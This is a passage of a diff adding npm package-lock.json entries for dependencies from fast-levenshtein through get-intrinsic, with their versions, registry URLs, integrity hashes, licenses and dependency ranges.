13627+ "resolved": "https://registry.npmjs.org/fast-levenshtein/-/fast-levenshtein-2.0.6.tgz",
13628+ "integrity": "sha512-DCXu6Ifhqcks7TZKY3Hxp3y6qphY5SJZmrWMDrKcERSOXWQdMhU9Ig/PYrzyw/ul9jOIyh0N4M0tbC5hodg8dw==",
13629+ "license": "MIT"
13630+ },
13631+ "node_modules/fast-safe-stringify": {
13632+ "version": "2.1.1",
13633+ "resolved": "https://registry.npmjs.org/fast-safe-stringify/-/fast-safe-stringify-2.1.1.tgz",
13634+ "integrity": "sha512-W+KJc2dmILlPplD/H4K9l9LcAHAfPtP6BY84uVLXQ6Evcz9Lcg33Y2z1IVblT6xdY54PXYVHEv+0Wpq8Io6zkA==",
13635+ "license": "MIT"
13636+ },
13637+ "node_modules/fast-uri": {
13638+ "version": "3.1.0",
13639+ "resolved": "https://registry.npmjs.org/fast-uri/-/fast-uri-3.1.0.tgz",
13640+ "integrity": "sha512-iPeeDKJSWf4IEOasVVrknXpaBV0IApz/gp7S2bb7Z4Lljbl2MGJRqInZiUrQwV16cpzw/D3S5j5Julj/gT52AA==",
13641+ "funding": [
13642+ {
13643+ "type": "github",
13644+ "url": "https://github.com/sponsors/fastify"
13645+ },
13646+ {
13647+ "type": "opencollective",
13648+ "url": "https://opencollective.com/fastify"
13649+ }
13650+ ],
13651+ "license": "BSD-3-Clause"
13652+ },
13653+ "node_modules/fastq": {
13654+ "version": "1.19.1",
13655+ "resolved": "https://registry.npmjs.org/fastq/-/fastq-1.19.1.tgz",
13656+ "integrity": "sha512-GwLTyxkCXjXbxqIhTsMI2Nui8huMPtnxg7krajPJAjnEG/iiOS7i+zCtWGZR9G0NBKbXKh6X9m9UIsYX/N6vvQ==",
13657+ "license": "ISC",
13658+ "dependencies": {
13659+ "reusify": "^1.0.4"
13660+ }
13661+ },
13662+ "node_modules/faye-websocket": {
13663+ "version": "0.11.4",
13664+ "resolved": "https://registry.npmjs.org/faye-websocket/-/faye-websocket-0.11.4.tgz",
13665+ "integrity": "sha512-CzbClwlXAuiRQAlUyfqPgvPoNKTckTPGfwZV4ZdAhVcP2lh9KUxJg2b5GkE7XbjKQ3YJnQ9z6D9ntLAlB+tP8g==",
13666+ "license": "Apache-2.0",
13667+ "dependencies": {
13668+ "websocket-driver": ">=0.5.1"
13669+ },
13670+ "engines": {
13671+ "node": ">=0.8.0"
13672+ }
13673+ },
13674+ "node_modules/fb-watchman": {
13675+ "version": "2.0.2",
13676+ "resolved": "https://registry.npmjs.org/fb-watchman/-/fb-watchman-2.0.2.tgz",
13677+ "integrity": "sha512-p5161BqbuCaSnB8jIbzQHOlpgsPmK5rJVDfDKO91Axs5NC1uu3HRQm6wt9cd9/+GtQQIO53JdGXXoyDpTAsgYA==",
13678+ "license": "Apache-2.0",
13679+ "dependencies": {
13680+ "bser": "2.1.1"
13681+ }
13682+ },
13683+ "node_modules/fdir": {
13684+ "version": "6.5.0",
13685+ "resolved": "https://registry.npmjs.org/fdir/-/fdir-6.5.0.tgz",
13686+ "integrity": "sha512-tIbYtZbucOs0BRGqPJkshJUYdL+SDH7dVM8gjy+ERp3WAUjLEFJE+02kanyHtwjWOnwrKYBiwAmM0p4kLJAnXg==",
13687+ "license": "MIT",
13688+ "engines": {
13689+ "node": ">=12.0.0"
13690+ },
13691+ "peerDependencies": {
13692+ "picomatch": "^3 || ^4"
13693+ },
13694+ "peerDependenciesMeta": {
13695+ "picomatch": {
13696+ "optional": true
13697+ }
13698+ }
13699+ },
13700+ "node_modules/fflate": {
13701+ "version": "0.8.2",
13702+ "resolved": "https://registry.npmjs.org/fflate/-/fflate-0.8.2.tgz",
13703+ "integrity": "sha512-cPJU47OaAoCbg0pBvzsgpTPhmhqI5eJjh/JIu8tPj5q+T7iLvW/JAYUqmE7KOB4R1ZyEhzBaIQpQpardBF5z8A==",
13704+ "license": "MIT"
13705+ },
13706+ "node_modules/file-entry-cache": {
13707+ "version": "6.0.1",
13708+ "resolved": "https://registry.npmjs.org/file-entry-cache/-/file-entry-cache-6.0.1.tgz",
13709+ "integrity": "sha512-7Gps/XWymbLk2QLYK4NzpMOrYjMhdIxXuIvy2QBsLE6ljuodKvdkWs/cpyJJ3CVIVpH0Oi1Hvg1ovbMzLdFBBg==",
13710+ "license": "MIT",
13711+ "dependencies": {
13712+ "flat-cache": "^3.0.4"
13713+ },
13714+ "engines": {
13715+ "node": "^10.12.0 || >=12.0.0"
13716+ }
13717+ },
13718+ "node_modules/file-loader": {
13719+ "version": "6.2.0",
13720+ "resolved": "https://registry.npmjs.org/file-loader/-/file-loader-6.2.0.tgz",
13721+ "integrity": "sha512-qo3glqyTa61Ytg4u73GultjHGjdRyig3tG6lPtyX/jOEJvHif9uB0/OCI2Kif6ctF3caQTW2G5gym21oAsI4pw==",
13722+ "license": "MIT",
13723+ "dependencies": {
13724+ "loader-utils": "^2.0.0",
13725+ "schema-utils": "^3.0.0"
13726+ },
13727+ "engines": {
13728+ "node": ">= 10.13.0"
13729+ },
13730+ "funding": {
13731+ "type": "opencollective",
13732+ "url": "https://opencollective.com/webpack"
13733+ },
13734+ "peerDependencies": {
13735+ "webpack": "^4.0.0 || ^5.0.0"
13736+ }
13737+ },
13738+ "node_modules/file-loader/node_modules/schema-utils": {
13739+ "version": "3.3.0",
13740+ "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-3.3.0.tgz",
13741+ "integrity": "sha512-pN/yOAvcC+5rQ5nERGuwrjLlYvLTbCibnZ1I7B1LaiAz9BRBlE9GMgE/eqV30P7aJQUf7Ddimy/RsbYO/GrVGg==",
13742+ "license": "MIT",
13743+ "dependencies": {
13744+ "@types/json-schema": "^7.0.8",
13745+ "ajv": "^6.12.5",
13746+ "ajv-keywords": "^3.5.2"
13747+ },
13748+ "engines": {
13749+ "node": ">= 10.13.0"
13750+ },
13751+ "funding": {
13752+ "type": "opencollective",
13753+ "url": "https://opencollective.com/webpack"
13754+ }
13755+ },
13756+ "node_modules/file-selector": {
13757+ "version": "0.5.0",
13758+ "resolved": "https://registry.npmjs.org/file-selector/-/file-selector-0.5.0.tgz",
13759+ "integrity": "sha512-s8KNnmIDTBoD0p9uJ9uD0XY38SCeBOtj0UMXyQSLg1Ypfrfj8+dAvwsLjYQkQ2GjhVtp2HrnF5cJzMhBjfD8HA==",
13760+ "license": "MIT",
13761+ "dependencies": {
13762+ "tslib": "^2.0.3"
13763+ },
13764+ "engines": {
13765+ "node": ">= 10"
13766+ }
13767+ },
13768+ "node_modules/file-selector/node_modules/tslib": {
13769+ "version": "2.8.1",
13770+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
13771+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
13772+ "license": "0BSD"
13773+ },
13774+ "node_modules/filelist": {
13775+ "version": "1.0.4",
13776+ "resolved": "https://registry.npmjs.org/filelist/-/filelist-1.0.4.tgz",
13777+ "integrity": "sha512-w1cEuf3S+DrLCQL7ET6kz+gmlJdbq9J7yXCSjK/OZCPA+qEN1WyF4ZAf0YYJa4/shHJra2t/d/r8SV4Ji+x+8Q==",
13778+ "license": "Apache-2.0",
13779+ "dependencies": {
13780+ "minimatch": "^5.0.1"
13781+ }
13782+ },
13783+ "node_modules/filelist/node_modules/brace-expansion": {
13784+ "version": "2.0.2",
13785+ "resolved": "https://registry.npmjs.org/brace-expansion/-/brace-expansion-2.0.2.tgz",
13786+ "integrity": "sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==",
13787+ "license": "MIT",
13788+ "dependencies": {
13789+ "balanced-match": "^1.0.0"
13790+ }
13791+ },
13792+ "node_modules/filelist/node_modules/minimatch": {
13793+ "version": "5.1.6",
13794+ "resolved": "https://registry.npmjs.org/minimatch/-/minimatch-5.1.6.tgz",
13795+ "integrity": "sha512-lKwV/1brpG6mBUFHtb7NUmtABCb2WZZmm2wNiOA5hAb8VdCS4B3dtMWyvcoViccwAW/COERjXLt0zP1zXUN26g==",
13796+ "license": "ISC",
13797+ "dependencies": {
13798+ "brace-expansion": "^2.0.1"
13799+ },
13800+ "engines": {
13801+ "node": ">=10"
13802+ }
13803+ },
13804+ "node_modules/filesize": {
13805+ "version": "8.0.7",
13806+ "resolved": "https://registry.npmjs.org/filesize/-/filesize-8.0.7.tgz",
13807+ "integrity": "sha512-pjmC+bkIF8XI7fWaH8KxHcZL3DPybs1roSKP4rKDvy20tAWwIObE4+JIseG2byfGKhud5ZnM4YSGKBz7Sh0ndQ==",
13808+ "license": "BSD-3-Clause",
13809+ "engines": {
13810+ "node": ">= 0.4.0"
13811+ }
13812+ },
13813+ "node_modules/fill-range": {
13814+ "version": "7.1.1",
13815+ "resolved": "https://registry.npmjs.org/fill-range/-/fill-range-7.1.1.tgz",
13816+ "integrity": "sha512-YsGpe3WHLK8ZYi4tWDg2Jy3ebRz2rXowDxnld4bkQB00cc/1Zw9AWnC0i9ztDJitivtQvaI9KaLyKrc+hBW0yg==",
13817+ "license": "MIT",
13818+ "dependencies": {
13819+ "to-regex-range": "^5.0.1"
13820+ },
13821+ "engines": {
13822+ "node": ">=8"
13823+ }
13824+ },
13825+ "node_modules/finalhandler": {
13826+ "version": "1.3.2",
13827+ "resolved": "https://registry.npmjs.org/finalhandler/-/finalhandler-1.3.2.tgz",
13828+ "integrity": "sha512-aA4RyPcd3badbdABGDuTXCMTtOneUCAYH/gxoYRTZlIJdF0YPWuGqiAsIrhNnnqdXGswYk6dGujem4w80UJFhg==",
13829+ "license": "MIT",
13830+ "dependencies": {
13831+ "debug": "2.6.9",
13832+ "encodeurl": "~2.0.0",
13833+ "escape-html": "~1.0.3",
13834+ "on-finished": "~2.4.1",
13835+ "parseurl": "~1.3.3",
13836+ "statuses": "~2.0.2",
13837+ "unpipe": "~1.0.0"
13838+ },
13839+ "engines": {
13840+ "node": ">= 0.8"
13841+ }
13842+ },
13843+ "node_modules/find-cache-dir": {
13844+ "version": "3.3.2",
13845+ "resolved": "https://registry.npmjs.org/find-cache-dir/-/find-cache-dir-3.3.2.tgz",
13846+ "integrity": "sha512-wXZV5emFEjrridIgED11OoUKLxiYjAcqot/NJdAkOhlJ+vGzwhOAfcG5OX1jP+S0PcjEn8bdMJv+g2jwQ3Onig==",
13847+ "license": "MIT",
13848+ "dependencies": {
13849+ "commondir": "^1.0.1",
13850+ "make-dir": "^3.0.2",
13851+ "pkg-dir": "^4.1.0"
13852+ },
13853+ "engines": {
13854+ "node": ">=8"
13855+ },
13856+ "funding": {
13857+ "url": "https://github.com/avajs/find-cache-dir?sponsor=1"
13858+ }
13859+ },
13860+ "node_modules/find-up": {
13861+ "version": "4.1.0",
13862+ "resolved": "https://registry.npmjs.org/find-up/-/find-up-4.1.0.tgz",
13863+ "integrity": "sha512-PpOwAdQ/YlXQ2vj8a3h8IipDuYRi3wceVQQGYWxNINccq40Anw7BlsEXCMbt1Zt+OLA6Fq9suIpIWD0OsnISlw==",
13864+ "license": "MIT",
13865+ "dependencies": {
13866+ "locate-path": "^5.0.0",
13867+ "path-exists": "^4.0.0"
13868+ },
13869+ "engines": {
13870+ "node": ">=8"
13871+ }
13872+ },
13873+ "node_modules/flat-cache": {
13874+ "version": "3.2.0",
13875+ "resolved": "https://registry.npmjs.org/flat-cache/-/flat-cache-3.2.0.tgz",
13876+ "integrity": "sha512-CYcENa+FtcUKLmhhqyctpclsq7QF38pKjZHsGNiSQF5r4FtoKDWabFDl3hzaEQMvT1LHEysw5twgLvpYYb4vbw==",
13877+ "license": "MIT",
13878+ "dependencies": {
13879+ "flatted": "^3.2.9",
13880+ "keyv": "^4.5.3",
13881+ "rimraf": "^3.0.2"
13882+ },
13883+ "engines": {
13884+ "node": "^10.12.0 || >=12.0.0"
13885+ }
13886+ },
13887+ "node_modules/flatted": {
13888+ "version": "3.3.3",
13889+ "resolved": "https://registry.npmjs.org/flatted/-/flatted-3.3.3.tgz",
13890+ "integrity": "sha512-GX+ysw4PBCz0PzosHDepZGANEuFCMLrnRTiEy9McGjmkCQYwRq4A/X786G/fjM/+OjsWSU1ZrY5qyARZmO/uwg==",
13891+ "license": "ISC"
13892+ },
13893+ "node_modules/flushwritable": {
13894+ "version": "1.0.0",
13895+ "resolved": "https://registry.npmjs.org/flushwritable/-/flushwritable-1.0.0.tgz",
13896+ "integrity": "sha512-3VELfuWCLVzt5d2Gblk8qcqFro6nuwvxwMzHaENVDHI7rxcBRtMCwTk/E9FXcgh+82DSpavPNDueA9+RxXJoFg==",
13897+ "license": "MIT"
13898+ },
13899+ "node_modules/follow-redirects": {
13900+ "version": "1.15.11",
13901+ "resolved": "https://registry.npmjs.org/follow-redirects/-/follow-redirects-1.15.11.tgz",
13902+ "integrity": "sha512-deG2P0JfjrTxl50XGCDyfI97ZGVCxIpfKYmfyrQ54n5FO/0gfIES8C/Psl6kWVDolizcaaxZJnTS0QSMxvnsBQ==",
13903+ "funding": [
13904+ {
13905+ "type": "individual",
13906+ "url": "https://github.com/sponsors/RubenVerborgh"
13907+ }
13908+ ],
13909+ "license": "MIT",
13910+ "engines": {
13911+ "node": ">=4.0"
13912+ },
13913+ "peerDependenciesMeta": {
13914+ "debug": {
13915+ "optional": true
13916+ }
13917+ }
13918+ },
13919+ "node_modules/for-each": {
13920+ "version": "0.3.5",
13921+ "resolved": "https://registry.npmjs.org/for-each/-/for-each-0.3.5.tgz",
13922+ "integrity": "sha512-dKx12eRCVIzqCxFGplyFKJMPvLEWgmNtUrpTiJIR5u97zEhRG8ySrtboPHZXx7daLxQVrl643cTzbab2tkQjxg==",
13923+ "license": "MIT",
13924+ "dependencies": {
13925+ "is-callable": "^1.2.7"
13926+ },
13927+ "engines": {
13928+ "node": ">= 0.4"
13929+ },
13930+ "funding": {
13931+ "url": "https://github.com/sponsors/ljharb"
13932+ }
13933+ },
13934+ "node_modules/for-in": {
13935+ "version": "1.0.2",
13936+ "resolved": "https://registry.npmjs.org/for-in/-/for-in-1.0.2.tgz",
13937+ "integrity": "sha512-7EwmXrOjyL+ChxMhmG5lnW9MPt1aIeZEwKhQzoBUdTV0N3zuwWDZYVJatDvZ2OyzPUvdIAZDsCetk3coyMfcnQ==",
13938+ "license": "MIT",
13939+ "engines": {
13940+ "node": ">=0.10.0"
13941+ }
13942+ },
13943+ "node_modules/forever-agent": {
13944+ "version": "0.6.1",
13945+ "resolved": "https://registry.npmjs.org/forever-agent/-/forever-agent-0.6.1.tgz",
13946+ "integrity": "sha512-j0KLYPhm6zeac4lz3oJ3o65qvgQCcPubiyotZrXqEaG4hNagNYO8qdlUrX5vwqv9ohqeT/Z3j6+yW067yWWdUw==",
13947+ "license": "Apache-2.0",
13948+ "engines": {
13949+ "node": "*"
13950+ }
13951+ },
13952+ "node_modules/fork-ts-checker-webpack-plugin": {
13953+ "version": "6.5.3",
13954+ "resolved": "https://registry.npmjs.org/fork-ts-checker-webpack-plugin/-/fork-ts-checker-webpack-plugin-6.5.3.tgz",
13955+ "integrity": "sha512-SbH/l9ikmMWycd5puHJKTkZJKddF4iRLyW3DeZ08HTI7NGyLS38MXd/KGgeWumQO7YNQbW2u/NtPT2YowbPaGQ==",
13956+ "license": "MIT",
13957+ "dependencies": {
13958+ "@babel/code-frame": "^7.8.3",
13959+ "@types/json-schema": "^7.0.5",
13960+ "chalk": "^4.1.0",
13961+ "chokidar": "^3.4.2",
13962+ "cosmiconfig": "^6.0.0",
13963+ "deepmerge": "^4.2.2",
13964+ "fs-extra": "^9.0.0",
13965+ "glob": "^7.1.6",
13966+ "memfs": "^3.1.2",
13967+ "minimatch": "^3.0.4",
13968+ "schema-utils": "2.7.0",
13969+ "semver": "^7.3.2",
13970+ "tapable": "^1.0.0"
13971+ },
13972+ "engines": {
13973+ "node": ">=10",
13974+ "yarn": ">=1.0.0"
13975+ },
13976+ "peerDependencies": {
13977+ "eslint": ">= 6",
13978+ "typescript": ">= 2.7",
13979+ "vue-template-compiler": "*",
13980+ "webpack": ">= 4"
13981+ },
13982+ "peerDependenciesMeta": {
13983+ "eslint": {
13984+ "optional": true
13985+ },
13986+ "vue-template-compiler": {
13987+ "optional": true
13988+ }
13989+ }
13990+ },
13991+ "node_modules/fork-ts-checker-webpack-plugin/node_modules/chalk": {
13992+ "version": "4.1.2",
13993+ "resolved": "https://registry.npmjs.org/chalk/-/chalk-4.1.2.tgz",
13994+ "integrity": "sha512-oKnbhFyRIXpUuez8iBMmyEa4nbj4IOQyuhc/wy9kY7/WVPcwIO9VA668Pu8RkO7+0G76SLROeyw9CpQ061i4mA==",
13995+ "license": "MIT",
13996+ "dependencies": {
13997+ "ansi-styles": "^4.1.0",
13998+ "supports-color": "^7.1.0"
13999+ },
14000+ "engines": {
14001+ "node": ">=10"
14002+ },
14003+ "funding": {
14004+ "url": "https://github.com/chalk/chalk?sponsor=1"
14005+ }
14006+ },
14007+ "node_modules/fork-ts-checker-webpack-plugin/node_modules/cosmiconfig": {
14008+ "version": "6.0.0",
14009+ "resolved": "https://registry.npmjs.org/cosmiconfig/-/cosmiconfig-6.0.0.tgz",
14010+ "integrity": "sha512-xb3ZL6+L8b9JLLCx3ZdoZy4+2ECphCMo2PwqgP1tlfVq6M6YReyzBJtvWWtbDSpNr9hn96pkCiZqUcFEc+54Qg==",
14011+ "license": "MIT",
14012+ "dependencies": {
14013+ "@types/parse-json": "^4.0.0",
14014+ "import-fresh": "^3.1.0",
14015+ "parse-json": "^5.0.0",
14016+ "path-type": "^4.0.0",
14017+ "yaml": "^1.7.2"
14018+ },
14019+ "engines": {
14020+ "node": ">=8"
14021+ }
14022+ },
14023+ "node_modules/fork-ts-checker-webpack-plugin/node_modules/fs-extra": {
14024+ "version": "9.1.0",
14025+ "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-9.1.0.tgz",
14026+ "integrity": "sha512-hcg3ZmepS30/7BSFqRvoo3DOMQu7IjqxO5nCDt+zM9XWjb33Wg7ziNT+Qvqbuc3+gWpzO02JubVyk2G4Zvo1OQ==",
14027+ "license": "MIT",
14028+ "dependencies": {
14029+ "at-least-node": "^1.0.0",
14030+ "graceful-fs": "^4.2.0",
14031+ "jsonfile": "^6.0.1",
14032+ "universalify": "^2.0.0"
14033+ },
14034+ "engines": {
14035+ "node": ">=10"
14036+ }
14037+ },
14038+ "node_modules/fork-ts-checker-webpack-plugin/node_modules/schema-utils": {
14039+ "version": "2.7.0",
14040+ "resolved": "https://registry.npmjs.org/schema-utils/-/schema-utils-2.7.0.tgz",
14041+ "integrity": "sha512-0ilKFI6QQF5nxDZLFn2dMjvc4hjg/Wkg7rHd3jK6/A4a1Hl9VFdQWvgB1UMGoU94pad1P/8N7fMcEnLnSiju8A==",
14042+ "license": "MIT",
14043+ "dependencies": {
14044+ "@types/json-schema": "^7.0.4",
14045+ "ajv": "^6.12.2",
14046+ "ajv-keywords": "^3.4.1"
14047+ },
14048+ "engines": {
14049+ "node": ">= 8.9.0"
14050+ },
14051+ "funding": {
14052+ "type": "opencollective",
14053+ "url": "https://opencollective.com/webpack"
14054+ }
14055+ },
14056+ "node_modules/fork-ts-checker-webpack-plugin/node_modules/tapable": {
14057+ "version": "1.1.3",
14058+ "resolved": "https://registry.npmjs.org/tapable/-/tapable-1.1.3.tgz",
14059+ "integrity": "sha512-4WK/bYZmj8xLr+HUCODHGF1ZFzsYffasLUgEiMBY4fgtltdO6B4WJtlSbPaDTLpYTcGVwM2qLnFTICEcNxs3kA==",
14060+ "license": "MIT",
14061+ "engines": {
14062+ "node": ">=6"
14063+ }
14064+ },
14065+ "node_modules/fork-ts-checker-webpack-plugin/node_modules/yaml": {
14066+ "version": "1.10.2",
14067+ "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz",
14068+ "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==",
14069+ "license": "ISC",
14070+ "engines": {
14071+ "node": ">= 6"
14072+ }
14073+ },
14074+ "node_modules/form-data": {
14075+ "version": "4.0.5",
14076+ "resolved": "https://registry.npmjs.org/form-data/-/form-data-4.0.5.tgz",
14077+ "integrity": "sha512-8RipRLol37bNs2bhoV67fiTEvdTrbMUYcFTiy3+wuuOnUog2QBHCZWXDRijWQfAkhBj2Uf5UnVaiWwA5vdd82w==",
14078+ "license": "MIT",
14079+ "dependencies": {
14080+ "asynckit": "^0.4.0",
14081+ "combined-stream": "^1.0.8",
14082+ "es-set-tostringtag": "^2.1.0",
14083+ "hasown": "^2.0.2",
14084+ "mime-types": "^2.1.12"
14085+ },
14086+ "engines": {
14087+ "node": ">= 6"
14088+ }
14089+ },
14090+ "node_modules/forwarded": {
14091+ "version": "0.2.0",
14092+ "resolved": "https://registry.npmjs.org/forwarded/-/forwarded-0.2.0.tgz",
14093+ "integrity": "sha512-buRG0fpBtRHSTCOASe6hD258tEubFoRLb4ZNA6NxMVHNw2gOcwHo9wyablzMzOA5z9xA9L1KNjk/Nt6MT9aYow==",
14094+ "license": "MIT",
14095+ "engines": {
14096+ "node": ">= 0.6"
14097+ }
14098+ },
14099+ "node_modules/fraction.js": {
14100+ "version": "5.3.4",
14101+ "resolved": "https://registry.npmjs.org/fraction.js/-/fraction.js-5.3.4.tgz",
14102+ "integrity": "sha512-1X1NTtiJphryn/uLQz3whtY6jK3fTqoE3ohKs0tT+Ujr1W59oopxmoEh7Lu5p6vBaPbgoM0bzveAW4Qi5RyWDQ==",
14103+ "license": "MIT",
14104+ "engines": {
14105+ "node": "*"
14106+ },
14107+ "funding": {
14108+ "type": "github",
14109+ "url": "https://github.com/sponsors/rawify"
14110+ }
14111+ },
14112+ "node_modules/framer-motion": {
14113+ "version": "12.23.26",
14114+ "resolved": "https://registry.npmjs.org/framer-motion/-/framer-motion-12.23.26.tgz",
14115+ "integrity": "sha512-cPcIhgR42xBn1Uj+PzOyheMtZ73H927+uWPDVhUMqxy8UHt6Okavb6xIz9J/phFUHUj0OncR6UvMfJTXoc/LKA==",
14116+ "license": "MIT",
14117+ "dependencies": {
14118+ "motion-dom": "^12.23.23",
14119+ "motion-utils": "^12.23.6",
14120+ "tslib": "^2.4.0"
14121+ },
14122+ "peerDependencies": {
14123+ "@emotion/is-prop-valid": "*",
14124+ "react": "^18.0.0 || ^19.0.0",
14125+ "react-dom": "^18.0.0 || ^19.0.0"
14126+ },
14127+ "peerDependenciesMeta": {
14128+ "@emotion/is-prop-valid": {
14129+ "optional": true
14130+ },
14131+ "react": {
14132+ "optional": true
14133+ },
14134+ "react-dom": {
14135+ "optional": true
14136+ }
14137+ }
14138+ },
14139+ "node_modules/framer-motion/node_modules/tslib": {
14140+ "version": "2.8.1",
14141+ "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.8.1.tgz",
14142+ "integrity": "sha512-oJFu94HQb+KVduSUQL7wnpmqnfmLsOA/nAh6b6EH0wCEoK0/mPeXU6c3wKDV83MkOuHPRHtSXKKU99IBazS/2w==",
14143+ "license": "0BSD"
14144+ },
14145+ "node_modules/fresh": {
14146+ "version": "0.5.2",
14147+ "resolved": "https://registry.npmjs.org/fresh/-/fresh-0.5.2.tgz",
14148+ "integrity": "sha512-zJ2mQYM18rEFOudeV4GShTGIQ7RbzA7ozbU9I/XBpm7kqgMywgmylMwXHxZJmkVoYkna9d2pVXVXPdYTP9ej8Q==",
14149+ "license": "MIT",
14150+ "engines": {
14151+ "node": ">= 0.6"
14152+ }
14153+ },
14154+ "node_modules/fs-extra": {
14155+ "version": "10.1.0",
14156+ "resolved": "https://registry.npmjs.org/fs-extra/-/fs-extra-10.1.0.tgz",
14157+ "integrity": "sha512-oRXApq54ETRj4eMiFzGnHWGy+zo5raudjuxN0b8H7s/RU2oW0Wvsx9O0ACRN/kRq9E8Vu/ReskGB5o3ji+FzHQ==",
14158+ "license": "MIT",
14159+ "dependencies": {
14160+ "graceful-fs": "^4.2.0",
14161+ "jsonfile": "^6.0.1",
14162+ "universalify": "^2.0.0"
14163+ },
14164+ "engines": {
14165+ "node": ">=12"
14166+ }
14167+ },
14168+ "node_modules/fs-monkey": {
14169+ "version": "1.1.0",
14170+ "resolved": "https://registry.npmjs.org/fs-monkey/-/fs-monkey-1.1.0.tgz",
14171+ "integrity": "sha512-QMUezzXWII9EV5aTFXW1UBVUO77wYPpjqIF8/AviUCThNeSYZykpoTixUeaNNBwmCev0AMDWMAni+f8Hxb1IFw==",
14172+ "license": "Unlicense"
14173+ },
14174+ "node_modules/fs.realpath": {
14175+ "version": "1.0.0",
14176+ "resolved": "https://registry.npmjs.org/fs.realpath/-/fs.realpath-1.0.0.tgz",
14177+ "integrity": "sha512-OO0pH2lK6a0hZnAdau5ItzHPI6pUlvI7jMVnxUQRtw4owF2wk8lOSabtGDCTP4Ggrg2MbGnWO9X8K1t4+fGMDw==",
14178+ "license": "ISC"
14179+ },
14180+ "node_modules/fsevents": {
14181+ "version": "2.3.3",
14182+ "resolved": "https://registry.npmjs.org/fsevents/-/fsevents-2.3.3.tgz",
14183+ "integrity": "sha512-5xoDfX+fL7faATnagmWPpbFtwh/R77WmMMqqHGS65C3vvB0YHrgF+B1YmZ3441tMj5n63k0212XNoJwzlhffQw==",
14184+ "hasInstallScript": true,
14185+ "license": "MIT",
14186+ "optional": true,
14187+ "os": [
14188+ "darwin"
14189+ ],
14190+ "engines": {
14191+ "node": "^8.16.0 || ^10.6.0 || >=11.0.0"
14192+ }
14193+ },
14194+ "node_modules/function-bind": {
14195+ "version": "1.1.2",
14196+ "resolved": "https://registry.npmjs.org/function-bind/-/function-bind-1.1.2.tgz",
14197+ "integrity": "sha512-7XHNxH7qX9xG5mIwxkhumTox/MIRNcOgDrxWsMt2pAr23WHp6MrRlN7FBSFpCpr+oVO0F744iUgR82nJMfG2SA==",
14198+ "license": "MIT",
14199+ "funding": {
14200+ "url": "https://github.com/sponsors/ljharb"
14201+ }
14202+ },
14203+ "node_modules/function.prototype.name": {
14204+ "version": "1.1.8",
14205+ "resolved": "https://registry.npmjs.org/function.prototype.name/-/function.prototype.name-1.1.8.tgz",
14206+ "integrity": "sha512-e5iwyodOHhbMr/yNrc7fDYG4qlbIvI5gajyzPnb5TCwyhjApznQh1BMFou9b30SevY43gCJKXycoCBjMbsuW0Q==",
14207+ "license": "MIT",
14208+ "dependencies": {
14209+ "call-bind": "^1.0.8",
14210+ "call-bound": "^1.0.3",
14211+ "define-properties": "^1.2.1",
14212+ "functions-have-names": "^1.2.3",
14213+ "hasown": "^2.0.2",
14214+ "is-callable": "^1.2.7"
14215+ },
14216+ "engines": {
14217+ "node": ">= 0.4"
14218+ },
14219+ "funding": {
14220+ "url": "https://github.com/sponsors/ljharb"
14221+ }
14222+ },
14223+ "node_modules/functional-red-black-tree": {
14224+ "version": "1.0.1",
14225+ "resolved": "https://registry.npmjs.org/functional-red-black-tree/-/functional-red-black-tree-1.0.1.tgz",
14226+ "integrity": "sha512-dsKNQNdj6xA3T+QlADDA7mOSlX0qiMINjn0cgr+eGHGsbSHzTabcIogz2+p/iqP1Xs6EP/sS2SbqH+brGTbq0g==",
14227+ "license": "MIT"
14228+ },
14229+ "node_modules/functions-have-names": {
14230+ "version": "1.2.3",
14231+ "resolved": "https://registry.npmjs.org/functions-have-names/-/functions-have-names-1.2.3.tgz",
14232+ "integrity": "sha512-xckBUXyTIqT97tq2x2AMb+g163b5JFysYk0x4qxNFwbfQkmNZoiRHb6sPzI9/QV33WeuvVYBUIiD4NzNIyqaRQ==",
14233+ "license": "MIT",
14234+ "funding": {
14235+ "url": "https://github.com/sponsors/ljharb"
14236+ }
14237+ },
14238+ "node_modules/generator-function": {
14239+ "version": "2.0.1",
14240+ "resolved": "https://registry.npmjs.org/generator-function/-/generator-function-2.0.1.tgz",
14241+ "integrity": "sha512-SFdFmIJi+ybC0vjlHN0ZGVGHc3lgE0DxPAT0djjVg+kjOnSqclqmj0KQ7ykTOLP6YxoqOvuAODGdcHJn+43q3g==",
14242+ "license": "MIT",
14243+ "engines": {
14244+ "node": ">= 0.4"
14245+ }
14246+ },
14247+ "node_modules/gensync": {
14248+ "version": "1.0.0-beta.2",
14249+ "resolved": "https://registry.npmjs.org/gensync/-/gensync-1.0.0-beta.2.tgz",
14250+ "integrity": "sha512-3hN7NaskYvMDLQY55gnW3NQ+mesEAepTqlg+VEbj7zzqEMBVNhzcGYYeqFo/TlYz6eQiFcp1HcsCZO+nGgS8zg==",
14251+ "license": "MIT",
14252+ "engines": {
14253+ "node": ">=6.9.0"
14254+ }
14255+ },
14256+ "node_modules/get-caller-file": {
14257+ "version": "2.0.5",
14258+ "resolved": "https://registry.npmjs.org/get-caller-file/-/get-caller-file-2.0.5.tgz",
14259+ "integrity": "sha512-DyFP3BM/3YHTQOCUL/w0OZHR0lpKeGrxotcHWcqNEdnltqFwXVfhEBQ94eIo34AfQpo0rGki4cyIiftY06h2Fg==",
14260+ "license": "ISC",
14261+ "engines": {
14262+ "node": "6.* || 8.* || >= 10.*"
14263+ }
14264+ },
14265+ "node_modules/get-intrinsic": {
14266+ "version": "1.3.0",
14267+ "resolved": "https://registry.npmjs.org/get-intrinsic/-/get-intrinsic-1.3.0.tgz",
14268+ "integrity": "sha512-9fSjSaos/fRIVIp+xSJlE6lfwhES7LNtKaCBIamHsjr2na1BiABJPo0mOjjz8GJDURarmCPGqaiVg5mfjb98CQ==",
14269+ "license": "MIT",
14270+ "dependencies": {
14271+ "call-bind-apply-helpers": "^1.0.2",
